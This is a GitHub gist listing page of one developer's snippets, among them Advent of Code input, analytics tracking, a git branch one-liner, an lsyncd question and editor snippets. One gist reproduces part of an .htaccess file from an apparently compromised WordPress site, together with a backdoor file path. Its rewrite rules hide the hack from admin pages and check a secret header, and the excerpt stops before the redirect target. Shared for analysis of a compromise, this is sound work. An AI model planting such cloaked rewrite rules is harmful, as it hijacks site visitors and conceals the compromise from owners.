Skip to content

Instantly share code, notes, and snippets.

@ninnypants
ninnypants / aoc-1.js
Created December 2, 2015 16:53
Advent of code day 1. Answer for character that put reached floor -1 first. Answered first question by using editor to count parenthesis.
var instructions = ['','(','(','(','(','(',')','(','(',')','(','(','(','(','(','(','(','(',')',')',')','(','(','(','(',')','(','(','(','(','(',')','(',')',')','(','(',')',')','(',')','(','(','(','(',')','(','(','(','(','(','(','(',')','(','(','(',')','(','(',')','(','(','(','(',')','(','(',')','(','(','(',')',')',')',')','(',')','(','(','(',')','(',')','(',')',')',')',')',')',')',')',')',')',')','(',')','(','(','(','(','(','(','(',')',')','(','(','(',')',')',')','(','(','(','(','(','(',')','(','(','(','(','(','(','(','(','(','(',')','(',')',')',')','(','(','(',')','(','(',')',')','(',')','(','(','(',')',')','(','(','(',')','(','(',')',')',')','(','(','(',')',')',')','(',')',')',')','(',')','(','(','(','(','(','(',')','(','(','(','(',')','(',')',')',')','(',')','(',')',')','(','(','(',')','(','(','(','(','(',')',')','(',')','(',')',')','(',')','(','(','(','(','(',')',')','(',')','(','(',')','(','(',')','(','(','(','(',')','(','(',')',')','(','(',')','(','(',')',')','(','(','(','(','(','(','(','(',')',')','(','
@ninnypants
ninnypants / .htaccess
Created November 20, 2014 06:47
/home/user/site.org/.htaccess | /home/user/backdoor.list | /home/user/site.org/wordpress/wp-includes/images/image.php
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule image.php - [L]
RewriteCond %{REQUEST_METHOD} (GET|POST)
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} !(login|auth|register|secure|admin|image.|config.) [NC]
RewriteCond %{HTTP:servers} !(true)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php|phps|shtml|xml|xhtml|phtml|asp|aspx)$ [NC]
@ninnypants
ninnypants / track-buttons.js
Created October 29, 2014 00:53
Track custom event with Google Analytics
// keep everything out of the global scope
( function() {
var buttons, buttonOrder = 0;
function trackButtonClick( e ) {
e.prventDefault(); // make sure page doesn't reload
// track button click noting color and order
_gaq.push([ '_trackEvent', 'Survey Data', 'Button Click', this.getAttribute( 'data-color' ), buttonOrder ]);
buttonOrder++; // add 1 to button order so we can see the order the button was clicked in
this.removeEventListener( 'click', trackButtonClick ); // remove the event so it can't be tracked again
function widget($args, $instance)
{
$title = apply_filters( 'widget_title', "hallo", $instance, $this->id_base );
// Variables
$acf_key = "widget_" . $this->id_base . "_" . $this->number;
// Debug information
echo "<h3>ACF Key:</h3>";
WordPress database error Multiple primary key defined for query ALTER TABLE wp_bb_forums ADD PRIMARY KEY (forum_id) made by require('wp-blog-header.php'), require_once('wp-includes/template-loader.php'), do_action('template_redirect'), call_user_func_array, bp_template_redirect, do_action('bp_template_redirect'), call_user_func_array, bp_screens, do_action('bp_screens'), call_user_func_array, bp_forums_directory_forums_setup, do_action('bbpress_init'), call_user_func_array, bp_forums_load_bbpress, bp_bb_dbDelta
WordPress database error Multiple primary key defined for query ALTER TABLE wp_bb_meta ADD PRIMARY KEY (meta_id) made by require('wp-blog-header.php'), require_once('wp-includes/template-loader.php'), do_action('template_redirect'), call_user_func_array, bp_template_redirect, do_action('bp_template_redirect'), call_user_func_array, bp_screens, do_action('bp_screens'), call_user_func_array, bp_forums_directory_forums_setup, do_action('bbpress_init'), call_user_func_array, bp_forums_load_bbpress, bp_bb_d
@ninnypants
ninnypants / gist:20b6ac15e5b51985c6d4
Last active August 29, 2015 14:03
Locally checkout all remote branches of a repository
git branch -r | cut -d '/' -f2 | grep -Ev '( |master)' | xargs -Ibranch git checkout -b branch origin/branch

lsyncd starts and transfers all files to remote directory, but doesn't continue to update as files are edited. Status says that inotify is watching 0 directories.

lsyncd config file run with sudo lsyncd -nodaemon site

settings {
	logfile = '/Users/ninnypants/Sites/lsyncd/log',
	statusFile = '/Users/ninnypants/Sites/lsyncd/status',
	statusInterval = 2,
	maxDelays = 2
@ninnypants
ninnypants / keybase.md
Created March 25, 2014 15:12
keybase.io verification

Keybase proof

I hereby claim:

  • I am ninnypants on github.
  • I am ninnypants (https://keybase.io/ninnypants) on keybase.
  • I have a public key whose fingerprint is F1A0 8AF2 76B5 C02A BFEE 2EB3 C4D8 5CA6 A9CE 25FB

To claim this, I am signing this object:

@ninnypants
ninnypants / BEM-child.sublime-snippet
Last active August 29, 2015 13:57
BEM child Sublime Text snippet
<snippet>
<content><![CDATA[
&__
]]></content>
<tabTrigger>&_</tabTrigger>
<scope>source.scss</scope>
</snippet>
@ninnypants
ninnypants / BEM-variation.sublime-snippet
Last active August 29, 2015 13:57
BEM variation Sublime Text snippet
<snippet>
<content><![CDATA[
&--
]]></content>
<tabTrigger>&-</tabTrigger>
<scope>source.scss</scope>
</snippet>